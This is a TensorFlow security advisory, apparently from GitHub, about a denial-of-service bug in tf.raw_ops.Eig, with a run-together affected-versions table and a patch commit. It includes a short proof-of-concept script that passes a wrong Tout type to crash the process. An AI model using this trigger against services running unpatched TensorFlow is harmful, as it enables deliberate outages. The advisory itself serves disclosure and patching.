| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
| tensorflow-cpu | ≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
| tensorflow-gpu | ≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
| tensorflow | = 2.10≥ 2.8.0, < 2.8.1≥ 2.9.0, < 2.9.1< 2.7.2 | 2.8.12.9.12.7.2 |
Eig can be fed an incorrect Tout input, resulting in a CHECK fail that can trigger a denial of service attack.
import tensorflow as tf
import numpy as np
arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_1=tf.complex128
arg_2=True
arg_3=''
tf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3)
We have patched the issue in GitHub commit aed36912609fc07229b4d0a7b44f3f48efc00fd0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
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